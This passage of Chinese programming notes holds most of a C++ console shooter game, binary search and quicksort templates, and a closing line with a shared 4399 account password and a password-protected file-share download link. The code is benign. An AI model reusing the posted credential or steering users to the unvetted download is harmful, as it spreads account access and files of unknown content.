m[i][j-k]=4;} if(M%10==8) for(int k=1;CanGo(i-k,j-k,x);k++){if(x==3) m[i-k][j-k]=84; else m[i-k][j-k]=4;} } void Move() { bool nx[32][32]; memset(nx,0,sizeof(nx)); for(int i=2;i<=28;i++) for(int j=2;j<=28;j++) { if(m[i][j]==50&&nx[i][j]==0&&T%2==0)//无脑怪 { int r,I=i,J=j,rr=rand()%5,rrr=rand()%2; if(rrr==0) {if(X<i) r=1;if(X>i) r=4;} if(rrr==1) {if(Y>j) r=2;if(Y<j) r=3;} if(rr==0) r=rand()%4+1; if(r==1) I=i-1,J=j;if(r==2) I=i,J=j+1;if(r==3) I=i,J=j-1;if(r==4) I=i+1,J=j; if(CanGo(I,J,1)) m[i][j]=0,m[I][J]=50,SetPos(i,j),cout<<" ",SetPos(I,J),cout<<"●",nx[I][J]=1; } if(m[i][j]==51&&nx[i][j]==0)//毒怪 { int R=rand()%10; int r,I=i,J=j,rr=rand()%30,rrr=rand()%2,mr=rand()%15; if(rrr==0) {if(X<i) r=1;if(X>i) r=4;} if(rrr==1) {if(Y>j) r=2;if(Y<j) r=3;} if(rr!=0) r=rand()%4+1; if(r==1) I=i-1,J=j;if(r==2) I=i,J=j+1;if(r==3) I=i,J=j-1;if(r==4) I=i+1,J=j; if(mr==0) {for(int k=I-2;k<=I+2;k++) for(int l=J-2;l<=J+2;l++) if(k>1&&l>1&&k<=28&&l<=28&&(CanGo(k,l,1)||m[k][l]==1)) m[k][l]=59;} if(CanGo(I,J,1)||m[I][J]==1) m[i][j]=59,m[I][J]=51,SetPos(i,j),cout<<" ",SetPos(I,J),cout<<"●",nx[I][J]=1; } if(m[i][j]==52&&nx[i][j]==0)//散弹怪 { int R=rand()%10; if(R==0) { int I,J,r,rn=0; int rr=rand()%8,Rn=rand()%3+1; Xr: rr=rand()%8,rn++; if(rr==0) {r=1,I=i-1,J=j;if(CanGo(I,J,6)) m[I][J]=210+r;} if(rr==1) {r=3,I=i,J=j+1;if(CanGo(I,J,6)) m[I][J]=210+r;} if(rr==2) {r=5,I=i+1,J=j;if(CanGo(I,J,6)) m[I][J]=210+r;} if(rr==3) {r=7,I=i,J=j-1;if(CanGo(I,J,6)) m[I][J]=210+r;} if(rr==4) {r=2,I=i-1,J=j+1;if(CanGo(I,J,6)) m[I][J]=210+r;} if(rr==5) {r=4,I=i+1,J=j+1;if(CanGo(I,J,6)) m[I][J]=210+r;} if(rr==6) {r=6,I=i+1,J=j-1;if(CanGo(I,J,6)) m[I][J]=210+r;} if(rr==7) {r=8,I=i-1,J=j-1;if(CanGo(I,J,6)) m[I][J]=210+r;} if(rr==8) {r=rand()%7+2;I=i+1,J=j;if(m[I][J]!=2) m[I][J]=210+r;}nx[I][J]=1; if(rn<Rn) goto Xr; } else if(R<=2) { int r=rand()%4+1,Ie,Je; if(r==1) Ie=i-1,Je=j;if(r==2) Ie=i,Je=j+1;if(r==3) Ie=i,Je=j-1;if(r==4) Ie=i+1,Je=j; if(CanGo(Ie,Je,1)) m[i][j]=0,m[Ie][Je]=52,SetPos(i,j),cout<<" ",SetPos(Ie,Je),cout<<"●"; } } if(m[i][j]==53&&nx[i][j]==0)//瞄准怪 { int R=rand()%6; if(R==0) { int I,J,r,rr=rand()%5; if(X-i<0&&abs(Y-j)<=2) {r=1,I=i-1,J=j;if(CanGo(I,J,6)) m[I][J]=210+r;} else if(Y-j>0&&abs(X-i)<=2) {r=3,I=i,J=j+1;if(CanGo(I,J,6)) m[I][J]=210+r;} else if(X-i>0&&abs(Y-j)<=2) {r=5,I=i+1,J=j;if(CanGo(I,J,6)) m[I][J]=210+r;} else if(Y-j<0&&abs(X-i)<=2) {r=7,I=i,J=j-1;if(CanGo(I,J,6)) m[I][J]=210+r;} else if(X-i<0&&Y-j>0&&abs((i-X)-(Y-j))<=2) {r=2,I=i-1,J=j+1;if(CanGo(I,J,6)) m[I][J]=210+r;} else if(X-i>0&&Y-j>0&&abs((X-i)-(Y-j))<=2) {r=4,I=i+1,J=j+1;if(CanGo(I,J,6)) m[I][J]=210+r;} else if(X-i>0&&j-Y>0&&abs((X-i)-(j-Y))<=2) {r=6,I=i+1,J=j-1;if(CanGo(I,J,6)) m[I][J]=210+r;} else if(X-i<0&&Y-j<0&&abs((i-X)-(j-Y))<=2) {r=8,I=i-1,J=j-1;if(CanGo(I,J,6)) m[I][J]=210+r;} else if(rr==0) {r=rand()%7+2;I=i+1,J=j;if(CanGo(I,J,6)) m[I][J]=210+r;} } else if(R==1) { int r=rand()%4+1,Ie,Je; if(r==1) Ie=i-1,Je=j;if(r==2) Ie=i,Je=j+1;if(r==3) Ie=i,Je=j-1;if(r==4) Ie=i+1,Je=j; if(CanGo(Ie,Je,1)) m[i][j]=0,m[Ie][Je]=53,SetPos(i,j),cout<<" ",SetPos(Ie,Je),cout<<"●"; } } if(m[i][j]==54&&nx[i][j]==0)//激光怪 { int R=rand()%10; if(R==0) {int r=rand()%4; Light(i,j,231+2*r,2);} else if(R<=3) { int r=rand()%4+1,Ie,Je; if(r==1) Ie=i-1,Je=j;if(r==2) Ie=i,Je=j+1;if(r==3) Ie=i,Je=j-1;if(r==4) Ie=i+1,Je=j; if(CanGo(Ie,Je,1)) m[i][j]=0,m[Ie][Je]=54,SetPos(i,j),cout<<" ",SetPos(Ie,Je),cout<<"●"; } } if(m[i][j]/100==2&&F[3]==1&&T%2==0) nx[i][j]=1; if((m[i][j]/100==1||m[i][j]/100==2)&&nx[i][j]==0)//子弹 { int M=m[i][j],I,J;m[i][j]=0;SetPos(i,j),cout<<" "; if(M%10==1) I=i-1,J=j;if(M%10==2) I=i-1,J=j+1;if(M%10==3) I=i,J=j+1;if(M%10==4) I=i+1,J=j+1; if(M%10==5) I=i+1,J=j;if(M%10==6) I=i+1,J=j-1;if(M%10==7) I=i,J=j-1;if(M%10==8) I=i-1,J=j-1; if(I==X&&J==Y&&M/100==2) {Jian(2),system("color 4F"),Sleep(30);system("color 0F"),m[i][j]=0;Map(4);} else if(I==X&&J==Y&&M/100==1) m[I][J]=0; else if(M/100==2&&m[I][J]/100==1) m[i][j]=32; else if(M/100==2&&m[I][J]<55&&m[I][J]>=50) m[i][j]=0; else if(m[I][J]==2||m[I][J]==3)//石 { if((M%100)/10==0) { int rr=rand()%3; if(rr==0) Fan(i,j,M),m[i][j]+=10; else m[i][j]=84; } if((M%100)/10==1) { m[i][j]=84; int rr=rand()%5; if(rr==0&&F[14]==1&&M/100==1) { for(int ii=i-1;ii<=i+1;ii++) for(int jj=j-1;jj<=j+1;jj++) if(m[ii][jj]!=2&&m[ii][jj]!=3&&ii<=28&&jj<=28) m[ii][jj]=84; } } if((M%100)/10==2) { m[i][j]=84; if(m[i-1][j]!=2&&m[i-1][j]!=3) m[i-1][j]=111; if(m[i-1][j+1]!=2&&m[i-1][j+1]!=3) m[i-1][j+1]=112; if(m[i][j+1]!=2&&m[i][j+1]!=3) m[i][j+1]=113; if(m[i+1][j+1]!=2&&m[i+1][j+1]!=3) m[i+1][j+1]=114; if(m[i+1][j]!=2&&m[i+1][j]!=3) m[i+1][j]=115; if(m[i+1][j-1]!=2&&m[i+1][j-1]!=3) m[i+1][j-1]=116; if(m[i][j-1]!=2&&m[i][j-1]!=3) m[i][j-1]=117; if(m[i-1][j-1]!=2&&m[i-1][j-1]!=3) m[i-1][j-1]=118; } if((M%100)/10==3) {if(m[I][J]==2&&(I!=1&&J!=1&&I!=29&&J!=29)) m[I][J]=84;else m[i][j]=84;} if((M%100)/10==4) m[i][j]=84; if((M%100)/10==5) { for(int ii=i-2;ii<=i+2;ii++) for(int jj=j-2;jj<=j+2;jj++) if(m[ii][jj]!=2&&m[ii][jj]!=3&&ii<=28&&jj<=28) m[ii][jj]=84; } if((M%100)/10==6) { for(int ii=i-1;ii<=i+1;ii++) for(int jj=j-1;jj<=j+1;jj++) if(m[ii][jj]!=2&&m[ii][jj]!=3&&ii<=28&&jj<=28) m[ii][jj]=9; } if((M%100)/10>=7&&(M%100)/10<9) Fan(i,j,M),m[i][j]+=(rand()%2)*10; if((M%100)/10==9) m[i][j]=84; } else if(!CanGo(I,J,6))//其他 { if((M%100)/10==0) m[I][J]=84,Fan(i,j,M),m[i][j]+=10; if((M%100)/10==1) { if(M/100==2&&m[I][J]==50) m[i][j]=0; else m[I][J]=84; if(F[14]==1&&M/100==1) { for(int ii=I-1;ii<=I+1;ii++) for(int jj=J-1;jj<=J+1;jj++) if(m[ii][jj]!=2&&m[ii][jj]!=3&&ii<=28&&jj<=28) m[ii][jj]=84; } } if((M%100)/10==2) { m[I][J]=84; if(m[I-1][J]!=2&&m[I-1][J]!=3) m[I-1][J]=111; if(m[I-1][J+1]!=2&&m[I-1][J+1]!=3) m[I-1][J+1]=112; if(m[I][J+1]!=2&&m[I][J+1]!=3) m[I][J+1]=113; if(m[I+1][J+1]!=2&&m[I+1][J+1]!=3) m[I+1][J+1]=114; if(m[I+1][J]!=2&&m[I+1][J]!=3) m[I+1][J]=115; if(m[I+1][J-1]!=2&&m[I+1][J-1]!=3) m[I+1][J-1]=116; if(m[I][J-1]!=2&&m[I][J-1]!=3) m[I][J-1]=117; if(m[I-1][J-1]!=2&&m[I-1][J-1]!=3) m[I-1][J-1]=118; } if((M%100)/10==3) m[I][J]=M,nx[I][J]=1; if((M%100)/10==4) Light(i,j,M,3); if((M%100)/10==5) { for(int ii=I-2;ii<=I+2;ii++) for(int jj=J-2;jj<=J+2;jj++) if(m[ii][jj]!=2&&m[ii][jj]!=3&&ii<=28&&jj<=28) m[ii][jj]=84; } if((M%100)/10==6) { for(int ii=I-1;ii<=I+1;ii++) for(int jj=J-1;jj<=J+1;jj++) if(m[ii][jj]!=2&&m[ii][jj]!=3&&ii<=28&&jj<=28) m[ii][jj]=9; } if((M%100)/10>=7&&(M%100)/10<9) m[I][J]=84,Fan(i,j,M); if((M%100)/10==9) m[I][J]=84; } else//空地 { if((M%100)/10==6) { m[i][j]=9; if(CanGo(i,j-1,5)) m[i][j-1]=9;if(CanGo(i,j+1,5)) m[i][j+1]=9; if(CanGo(i-1,j,5)) m[i-1][j]=9;if(CanGo(i-1,j,5)) m[i+1][j]=9; m[I][J]=M,nx[I][J]=1; } if((M%100)/10==4) m[i][j]=84,m[I][J]=M,i=2,j=2; else m[I][J]=M,nx[I][J]=1; } } } if(Bblood>0) Boss(); } void Bullet() { int I=0,J=0,R=rand()%10,Rr=rand()%3,Rrr,K=0,tg=gunT; Hh:Rrr=rand()%20; if(gunT==1&&m[X-1][Y]!=2&&m[X-1][Y]!=3) I=X-1,J=Y; if(gunT==2&&m[X-1][Y+1]!=2&&m[X-1][Y+1]!=3) I=X-1,J=Y+1; if(gunT==3&&m[X][Y+1]!=2&&m[X][Y+1]!=3) I=X,J=Y+1; if(gunT==4&&m[X+1][Y+1]!=2&&m[X+1][Y+1]!=3) I=X+1,J=Y+1; if(gunT==5&&m[X+1][Y]!=2&&m[X+1][Y]!=3) I=X+1,J=Y; if(gunT==6&&m[X+1][Y-1]!=2&&m[X+1][Y-1]!=3) I=X+1,J=Y-1; if(gunT==7&&m[X][Y-1]!=2&&m[X][Y-1]!=3) I=X,J=Y-1; if(gunT==8&&m[X-1][Y-1]!=2&&m[X-1][Y-1]!=3) I=X-1,J=Y-1; if(I!=0&&J!=0) m[I][J]=100+10*gunZ+gunT; if(K==1) m[I][J]=110+gunT; if(F[2]==1&&gunZ==1) m[I][J]=100+gunT; if(F[8]==1&&R==0&&K==0) {gunT=rand()%8+1;K=1;goto Hh;} if(F[8]==1&&K!=0&&K<Rr) {gunT=rand()%8+1;K++;goto Hh;} if(K>=Rr) gunT=tg; if(Rrr==0&&F[11]==1&&K==0) {m[I][J]=100+10*(rand()%7+1)+gunT;} if(gunZ!=1) {G[gunZ]--; if(G[gunZ]<=0) G[gunZ]=0,gunZ=1;Map(3);} } void OpenBox(int a) { for(int i=X-1;i<=X+1;i++) for(int j=Y-1;j<=Y+1;j++) if(m[i][j]==3) { int r=2;// if(a==1) r=rand()%6+2; if(F[9]==1) r=rand()%12+2; SetPos(i,j);Color(5); if(r==2) cout<<"分裂枪!"; if(r==3) cout<<"穿甲枪!"; if(r==4) cout<<"激光枪!"; if(r==5) cout<<"爆炸枪!"; if(r==6) cout<<"毒气枪!"; if(r==7) cout<<"弹跳枪!"; if(r==8) cout<<"生命药水!",Blood=min(Blood+5,Bmax+2),Map(3); if(r==9) cout<<"盾牌药水!",Dun=min(Dun+5,Dmax+2),Map(3); if(F[9]==1&&r>=8&&r<=13) cout<<"生命药水!",Blood=min(Blood+5,Bmax+2),Map(3); Sleep(1000);m[i][j]=84;if(r<=7&&F[6]==0) gunZ=r,G[r]+=10;if(r<=7&&F[6]==1) gunZ=r,G[r]+=20; SetPos(i,j); cout<<" ";Map(0); } } void Sheng() { memset(m,0,sizeof(m));memset(n,0,sizeof(n)); int q=0,T=0,II=0,JJ=0; Re: q++; int r=rand()%15+1; if(F[19]==1) r=rand()%20+1; if(r==1) {for(int i=5;i<=7;i++)for(int j=5;j<=7;j++) m[i][j]=2;for(int i=23;i<=25;i++)for(int j=5;j<=7;j++) m[i][j]=2;for(int i=5;i<=7;i++)for(int j=23;j<=25;j++) m[i][j]=2;for(int i=23;i<=25;i++)for(int j=23;j<=25;j++) m[i][j]=2;} if(r==2) {for(int i=13;i<=17;i++) for(int j=13;j<=17;j++) m[i][j]=1;} if(r==3) {for(int i=2;i<=28;i++) m[i][6]=m[i][24]=m[6][i]=m[24][i]=1;} if(r==4) {for(int i=2;i<=28;i++) m[i][15]=m[15][i]=1;} if(r==5) {for(int i=2;i<=28;i++) if(abs(i-15)>=3) m[i][15]=m[15][i]=2;} if(r==6) {for(int i=2;i<=28;i++) for(int j=2;j<=28;j++) if(i==j||i+j==30) m[i][j]=1;} if(r==7) {for(int i=2;i<=28;i++) for(int j=2;j<=28;j++) if(abs(i-15)+abs(j-15)==10) m[i][j]=1;} if(r==8) {for(int i=5;i<=25;i++) if(abs(i-15)>=2) m[i][10]=m[i][20]=m[10][i]=m[20][i]=2;} if(r==9) {for(int i=2;i<=28;i++) for(int j=2;j<=28;j++) {int rr=rand()%20; if(rr==0&&m[i][j]==0) m[i][j]=1;}} if(r>=10&&II==0) {T--;int ii=rand()%27+2;int jj=rand()%27+2; for(int i=ii-1;i<=ii+1;i++) for(int j=jj-1;j<=jj+1;j++) if(m[i][j]==0) m[i][j]=1;II=ii,JJ=jj;} if(r>=10&&II!=0) goto Re;if(Lev<=5&&q<2) goto Re; T++;if(T==1) goto Re;if(II!=0) m[II][JJ]=3; r=rand()%15+1; if(r==1) {for(int i=5;i<=25;i++) n[i][4]=n[i][9]=n[i][15]=n[i][21]=n[i][26]=31;} if(r==2) {for(int i=8;i<=22;i++) n[i][8]=n[i][22]=n[8][i]=n[22][i]=31;} if(r==3) {for(int i=1;i<=5;i++) {int ii=rand()%23+4,jj=rand()%23+4;for(int ki=ii-2;ki<=ii+2;ki++)for(int kj=jj-2;kj<=jj+2;kj++) if(abs(ki-X)>2||abs(kj-Y)>2) n[ki][kj]=1;}} if(r==4) {for(int i=1;i<=7;i++) {int ii=rand()%23+4,jj=rand()%23+4;for(int ki=ii-1;ki<=ii+1;ki++)for(int kj=jj-1;kj<=jj+1;kj++) n[ki][kj]=11;}} if(r==5) {for(int i=1;i<=20;i++) {int ii=rand()%23+4,jj=rand()%13+1;jj*=2;for(int ki=ii-1;ki<=ii+1;ki++) n[jj+1][ki]=31;}} if(r==6) {for(int i=2;i<=28;i++) n[i][9]=n[i][10]=n[i][20]=n[i][21]=11;} if(r==7) {for(int i=5;i<=25;i++) n[4][i]=n[9][i]=n[15][i]=n[21][i]=n[26][i]=31;} if(r==8) {for(int i=7;i<=23;i++) for(int j=7;j<=23;j++) if(i==j||i+j==30) n[i][j]=31;} if(r==9) {for(int i=2;i<=28;i++) {if(i!=4&&i!=26&&!(i==Y&&(14<=X&&16>=X))) n[14][i]=n[15][i]=n[16][i]=1; m[14][i]=m[15][i]=m[16][i]=0;}} if(r==10) {for(int i=7;i<=23;i++) if(abs(i-15)>1) n[i][7]=n[i][23]=n[7][i]=n[23][i]=1;} Kk: int k=0,K[35][35]; memset(K,0,sizeof(K)); if(Lev%5!=4) { for(int i=2;i<=28;i++)//怪 for(int j=2;j<=28;j++) { if(Lev<=1) {int r=rand()%150;if(r==0) K[i][j]=50,k++;} else if(Lev<=2) {int r=rand()%200;if(r==0) K[i][j]=50;if(r==1) K[i][j]=51;if(r<=1) k++;} else if(Lev<=3) {int r=rand()%300;if(r==0) K[i][j]=50;if(r==1) K[i][j]=51;if(r==2) K[i][j]=52;if(r<=2) k++;} else if(Lev<=5) {int r=rand()%400;if(r==0) K[i][j]=50;if(r==1) K[i][j]=51;if(r==2) K[i][j]=52;if(r==3) K[i][j]=53;if(r<=3) k++;} else if(Lev<=7) {int r=rand()%350;if(r==0) K[i][j]=50;if(r==1) K[i][j]=51;if(r==2) K[i][j]=52;if(r==3) K[i][j]=53;if(r==4) K[i][j]=54;if(r<=4) k++;} else {int r;if(Lev<=10) r=rand()%300;if(Lev<=15) r=rand()%280;if(Lev<=20) r=rand()%250;if(Lev<=25) r=rand()%230;if(r==0) K[i][j]=50;if(r==1) K[i][j]=51;if(r==2) K[i][j]=52;if(r==3) K[i][j]=53;if(r==4) K[i][j]=54;if(r<=4) k++;} }if(k<3) goto Kk;if(k>5&&Lev<=3) goto Kk;if(k<5&&Lev>=10) goto Kk;if(k>10&&Lev<=10) goto Kk;if(k>15&&Lev<=15) goto Kk;if(k<10&&Lev>=20) goto Kk;if(k>20&&Lev<=20) goto Kk; } for(int i=2;i<=28;i++) for(int j=2;j<=28;j++) {if(n[i][j]!=0) m[i][j]=0;if(K[i][j]!=0&&(m[i-1][j]!=2||m[i+1][j]!=2||m[i][j-1]!=2||m[i][j+1]!=2)) m[i][j]=K[i][j];} if(Lev%5==4) {int ms;if(Lev==4) ms=3;if(Lev==9) ms=5;if(Lev==14) ms=10;if(Lev==19) ms=15;if(Lev==24) ms=20;Bx=rand()%23+4,By=rand()%23+4;Bblood=ms*12;for(int i=14;i<=16;i++) for(int j=14;j<=16;j++) m[i][j]=n[i][j]=0;} for(int i=X-1;i<=X+1;i++) for(int j=Y-1;j<=Y+1;j++) if(i!=1&&i!=29&&j!=1&&j!=29) m[i][j]=0; for(int i=1;i<=29;i++) m[1][i]=2,m[29][i]=2; for(int i=1;i<=29;i++) m[i][1]=2,m[i][29]=2;//周围石块 } void TianFu() { int A[4],ss=0; system("cls"); SetPos(5,5),cout<<"选择一个天赋!(数字键选择)"; Tf: int R=rand()%20+1; for(int i=1;i<=3;i++) if(R==A[i]) goto Tf; if(F[R]==1) goto Tf; ss++,A[ss]=R; SetPos(4*ss+5,8),cout<<ss<<"、"; if(R==1) SetPos(4*ss+5,10),cout<<"盾牌恢复速度增加"; if(R==2) SetPos(4*ss+5,10),cout<<"普通子弹有概率弹跳"; if(R==3) SetPos(4*ss+5,10),cout<<"怪物子弹速度变慢"; if(R==4) SetPos(4*ss+5,10),cout<<"免疫地刺和怪物的毒"; if(R==5) SetPos(4*ss+5,10),cout<<"开局无敌时间增加"; if(R==6) SetPos(4*ss+5,10),cout<<"宝箱子弹量增加"; if(R==7) SetPos(4*ss+5,10),cout<<"盾牌上限增加"; if(R==8) SetPos(4*ss+5,10),cout<<"有概率发射散弹"; if(R==9) SetPos(4*ss+5,10),cout<<"宝箱抽出生命水概率增加"; if(R==10) SetPos(4*ss+5,10),cout<<"每次开局有概率增加生命"; if(R==11) SetPos(4*ss+5,10),cout<<"有概率发射特殊子弹"; if(R==12) SetPos(4*ss+5,10),cout<<"激光伤害减半"; if(R==13) SetPos(4*ss+5,10),cout<<"盾牌爆后无敌一段时间"; if(R==14) SetPos(4*ss+5,10),cout<<"普通子弹有概率爆炸"; if(R==15) SetPos(4*ss+5,10),cout<<"杀死怪有几率加盾(BOSS关除外)"; if(R==16) SetPos(4*ss+5,10),cout<<"出场释放冲击波"; if(R==17) SetPos(4*ss+5,10),cout<<"盾牌爆后释放冲击波"; if(R==18) SetPos(4*ss+5,10),cout<<"有概率在身周放毒"; if(R==19) SetPos(4*ss+5,10),cout<<"刷出宝箱概率增加"; if(R==20) SetPos(4*ss+5,10),cout<<"每次开局获得一把枪"; if(ss<3) goto Tf; tF: char c=_getch(); if(c>='1'&&c<='3') F[A[c-'0']]=1; else goto tF; if(A[c-'0']==7) Dmax+=3; } void GuaiQuan() { X=3,Y=3;Win=-1;system("cls");Color(0); memset(m,0,sizeof(m));memset(n,0,sizeof(n)); for(int i=1;i<=29;i++) m[1][i]=2,m[29][i]=2; for(int i=1;i<=29;i++) m[i][1]=2,m[i][29]=2;//周围石块 for(int i=4;i<=12;i++) m[i][4]=m[i][12]=m[4][i]=m[12][i]=m[i][18]=m[i][26]=m[18][i]=m[26][i]=2; for(int i=18;i<=26;i++) m[i][4]=m[i][12]=m[4][i]=m[12][i]=m[i][18]=m[i][26]=m[18][i]=m[26][i]=2; for(int i=11;i<=19;i++) m[i][11]=m[i][19]=m[11][i]=m[19][i]=2; for(int i=6;i<=10;i++) for(int j=13;j<=17;j++) m[i][j]=1; m[8][8]=50;m[8][21]=51;m[15][15]=52;m[21][8]=53;m[21][21]=54;m[16][23]=3;Map(5); SetPos(3,5);cout<<"←你";SetPos(4,14);cout<<"木箱↓";SetPos(17,4);cout<<"铁块↓";SetPos(17,21);cout<<"宝箱↑"; SetPos(13,5);cout<<"无脑小怪↑";SetPos(14,21);cout<<"剧毒小怪↑"; SetPos(20,13);cout<<"散弹小怪↑";SetPos(27,5);cout<<"狙击小怪↑";SetPos(27,21);cout<<"激光小怪↑"; while(1) { if(bu>0) bu--; if(GetAsyncKeyState(VK_UP)&0x8000) Map(2),gx--; else if(GetAsyncKeyState(VK_DOWN)&0x8000) Map(2),gx++; else if(GetAsyncKeyState(VK_LEFT)&0x8000) Map(2),gy--; else if(GetAsyncKeyState(VK_RIGHT)&0x8000) Map(2),gy++; if(kbhit()) { char g=_getch(); if(g=='a') {Map(2); if(gunT!=1) gunT--;else gunT=8;} if(g=='d') {Map(2); if(gunT!=8) gunT++;else gunT=1;} if(g=='w') OpenBox(1); if(g=='s'&&bu<=2) Bullet(),bu+=2; if(g==' ') Sleep(100),SetPos(-1,18),sy++,system("pause"); if(g=='y'&&Win<0) {break;} } if(sy==1) SetPos(-1,18),cout<<" ",sy--; Move(); Map(0); Sleep(50); }Lev=0;Blood=10,Dun=10,Bmax=10,Dmax=10; } void Start() { Color(5); SetPos(2,3);cout<<" ■■■■■■ ■ "; SetPos(3,3);cout<<" ■■■■■■■■ "; SetPos(4,3);cout<<" ■ "; SetPos(5,3);cout<<" ■■■■■■■■■■ ■ ■■■■■■ "; SetPos(6,3);cout<<" ■ ■ "; SetPos(7,3);cout<<" ■ ■ ■■■■■■■ "; SetPos(8,3);cout<<" ■ ■ ■ ■ "; SetPos(9,3);cout<<" ■■ ■■■ ■ "; SetPos(10,3);cout<<" ■ ■ "; SetPos(11,3);cout<<" 小 ■■■■ "; SetPos(13,3);cout<<" 2.0版本: "; SetPos(14,3);cout<<" ■■■ ■ "; SetPos(15,3);cout<<" 新增BOSS!Crab-Dave! ■ ■ ■ "; SetPos(16,3);cout<<" ■■■ ■ ■ "; SetPos(17,3);cout<<" 水,生木块,地刺加入战场! ■ ■ ■■■■■"; SetPos(18,3);cout<<" ■ ■ "; SetPos(19,3);cout<<" 身周不会刷出石和水了! ■■■ ■■■■ "; SetPos(20,3);cout<<" ■ ■ ■ ■ "; SetPos(21,3);cout<<" BUG修正于小优化!努力通关吧! ■ ■ ■ ■ "; SetPos(22,3);cout<<" ■■ ■ ■■■■ "; SetPos(25,4);Color(1);cout<<"按 y 开始游戏!"; SetPos(29,3);Color(3);cout<<"注意!这里 绝对不能是拼音输入法!"; A:char y=_getch(); if(y=='y') return; else goto A; } void Bling() { for(int i=0;i<=3;i++) { system("color 1A");Sleep(10); system("color 2B");Sleep(10); system("color 3C");Sleep(10); system("color 4D");Sleep(10); system("color 5D");Sleep(10); system("color 6E");Sleep(10); system("color 7F");Sleep(10); }system("color 0F");system("cls"); } void BaoBo(int B) { for(int i=X-B;i<=X+B;i++) if(CanGo(i,Y-B,3)&&i>0&&Y-B>0) m[i][Y-B]=86,m[i][Y-B+1]=8; for(int i=X-B;i<=X+B;i++) if(CanGo(i,Y+B,3)&&i>0&&Y+B>0) m[i][Y+B]=86,m[i][Y+B-1]=8; for(int j=Y-B;j<=Y+B;j++) if(CanGo(X+B,j,3)&&j>0&&X+B>0) m[X+B][j]=86,m[X+B-1][Y]=8; for(int j=Y-B;j<=Y+B;j++) if(CanGo(X-B,j,3)&&j>0&&X-B>0) m[X-B][j]=86,m[X-B+1][Y]=8; } void Ci() { for(int i=1;i<=29;i++) for(int j=1;j<=29;j++) { if(n[i][j]>=10&&n[i][j]<50&&n[i][j]!=30) n[i][j]++; if(n[i][j]==50) {n[i][j]=31;if(m[i][j]==2) m[i][j]=0;} if(n[i][j]==45&&!(m[i][j]>=50&&m[i][j]<55)&&!(abs(Bx-i)<=1&&abs(By-i)<=1)) m[i][j]=2; if(n[i][j]>20&&n[i][j]<=30&&m[i][j]==0) n[i][j]=10; if(n[i][j]==20&&m[i][j]==0&&!(abs(Bx-i)<=1&&abs(By-i)<=1)) m[i][j]=1; } } int main() { system("mode con cols=62 lines=34"); CONSOLE_CURSOR_INFO cursor_info={1,0}; SetConsoleCursorInfo(GetStdHandle(STD_OUTPUT_HANDLE),&cursor_info); srand((unsigned)time(NULL)); SSt: Start();Bling(); X=4,Y=8,gx=gy=0,gunT=1,gunZ=1,Lev=0,T; Blood=10,Dun=10,Bmax=10,Dmax=10; memset(G,0,sizeof(G)); memset(F,0,sizeof(F)); GuaiQuan(); St: Win=0;Bo=Boo=0; memset(m,0,sizeof(m)); if(Lev%5==0&&Lev!=0) TianFu(); Bling();T=0;Sheng();Map(1);int rr=rand()%3; if(F[5]==1) WuDi=60;else WuDi=30; if(rr==0&&F[10]==1) Blood=min(Blood+1,Bmax); if(F[16]==1) Bo=4; if(F[20]==1) {int Q=rand()%7+2;gunZ=Q,G[Q]=5;} while(Win<=0&&Blood>0&&Lev<25) { T++; if(bu>0) bu--; if(WuDi>0) WuDi--; if(WuDi==1) WuDi--,Map(4); if(Bo>0) BaoBo(5-Bo),Bo--; if(Boo>0) BaoBo(4-Boo),Boo--; if(F[18]==1) { int Rrr=rand()%30; if(Rrr==0) for(int i=X-2;i<=X+2;i++) for(int j=Y-2;j<=Y+2;j++) if(CanGo(i,j,5)&&i>0&&j>0) m[i][j]=9; } if(Dun<Dmax) { if(F[1]==1&&T%30==0) Dun++,Map(3); if(F[1]==0&&T%70==0) Dun++,Map(3); } if(GetAsyncKeyState(VK_UP)&0x8000) Map(2),gx--; else if(GetAsyncKeyState(VK_DOWN)&0x8000) Map(2),gx++; else if(GetAsyncKeyState(VK_LEFT)&0x8000) Map(2),gy--; else if(GetAsyncKeyState(VK_RIGHT)&0x8000) Map(2),gy++; if(kbhit()) { char g=_getch(); if(g=='a') {Map(2); if(gunT!=1) gunT--;else gunT=8;} if(g=='d') {Map(2); if(gunT!=8) gunT++;else gunT=1;} if(g=='w') OpenBox(0); if(g=='s'&&bu<=2) Bullet(),bu+=2; if(g==' ') Sleep(100),SetPos(-1,18),sy++,system("pause"); } if(sy==1) SetPos(-1,18),cout<<" ",sy--; if(T%2==0) Ci(); Move();Map(0);Sleep(50); } if(Win==0&&Blood<=0&&Lev<25) { system("color 7F"),Color(4);Lev=0;Blood=Dun=Bmax=Dmax=10; Bblood=Bsi=Bjiao=Bdu=Bfang=0; memset(G,0,sizeof(G)); memset(F,0,sizeof(F)); SetPos(2,2);cout<<"You! Die!!!",Sleep(1000); SetPos(3,2);cout<<"Please point 'y' to Play AGain."; } if(Lev<25) { A:char e=_getch();if(e=='y') goto St;else goto A;} if(Lev==25) { system("color 6E"),Color(5); SetPos(2,2),cout<<"You! Pass All The Level!!!";Sleep(3000); system("color 0F");system("cls");goto SSt; } return 0; }
二分查找模板
int erfen(int c[],int b,int g){ int tou=0,wei=b-1; while(tou<=wei){ int mid=(tou+wei)/2; if(c[mid]>=g){ wei=mid-1; }else if(c[mid]<g){ tou=mid+1; } } if(c[tou]==g){ return tou+1; } return -1; }
快速排序模板
#include <bits/stdc++.h> using namespace std; /* 对n个数进行排序 */ const int N=1e5+5; int a[N];//原数组 int n; void fast_sort(int left,int right){ //基本情况,递归边界 if(left>=right){ return; } //交换枢纽元,一般选中间值 int mid=(left+right)/2; //交换枢纽元和最右边的值 swap(a[mid],a[right]); int i=left,j=right-1; while(i<=j){//区间没有交错,还有元素处理 //i往右移动,直到找到比枢纽元大的数 while(a[i]<a[right]){ i++; } //j往左移动,直到找到比枢纽元小的数 while(a[j]>a[right]){ j--; } if(i<=j){ swap(a[i],a[j]); i++; j--; } } //交换枢纽元和i交换 swap(a[right],a[i]); //对左右区间进一步划分 fast_sort(left,i-1);//左 fast_sort(i+1,right);//右 } int main(){ //先输入一个n,再输入n个数 cin>>n; for(int i=1;i<=n;i++){ cin>>a[i]; } fast_sort(1,n); for(int i=1;i<=n;i++){ cout<<a[i]<<" "; } return 0; }
4399通用账号:2423764051 密码:111111
chrome://dino 打开小恐龙 https://corezwb.lanzouq.com/iAFNA01ud3qj 密码gs83
